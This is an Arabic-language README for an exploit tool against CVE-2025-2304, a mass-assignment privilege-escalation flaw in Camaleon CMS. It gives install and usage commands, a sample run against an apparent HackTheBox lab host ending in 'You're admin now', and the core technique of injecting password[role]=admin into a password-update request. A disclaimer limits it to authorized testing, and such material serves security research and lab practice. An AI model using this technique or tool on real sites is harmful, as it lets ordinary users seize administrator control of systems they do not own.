استغلال CVE-2025-2304

نظام Camaleon CMS عرضة لتصعيد الامتيازات من خلال تعيين جماعي (Mass Assignment)

وصف الثغرة

توجد ثغرة تصعيد الامتيازات من خلال تعيين جماعي في نظام Camaleon CMS

عندما يرغب المستخدم في تغيير كلمة المرور الخاصة به، يتم استدعاء طريقة 'updated_ajax' في UsersController. تنبع الثغرة من استخدام الطريقة الخطيرة permit!، التي تسمح بمرور جميع المعاملات دون أي تصفية.

المتطلبات

pip install requests beautifulsoup4

الاستخدام

python exploit.py --url http://target.com -u username -p password

الوسائط

• --url - عنوان URL الأساسي للتطبيق المعرض للخطر
• -u - اسم المستخدم للمصادقة
• -p - كلمة المرور للمصادقة

مثال

python exploit.py --url http://facts.htb -u krrish -p krrish

الإخراج:

[*] Logging in as krrish...
[*] Exploiting...
[+] Exploited! You're admin now

كيف يعمل

1. المصادقة باستخدام بيانات الاعتماد المقدمة
2. إرسال طلب تحديث كلمة المرور مع معلمة password[role]=admin المحقونة
3. تصعيد صلاحيات المستخدم إلى مسؤول

إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

المؤلف

https://x.com/krrishbhurani

https://www.linkedin.com/in/krrish-bhurani/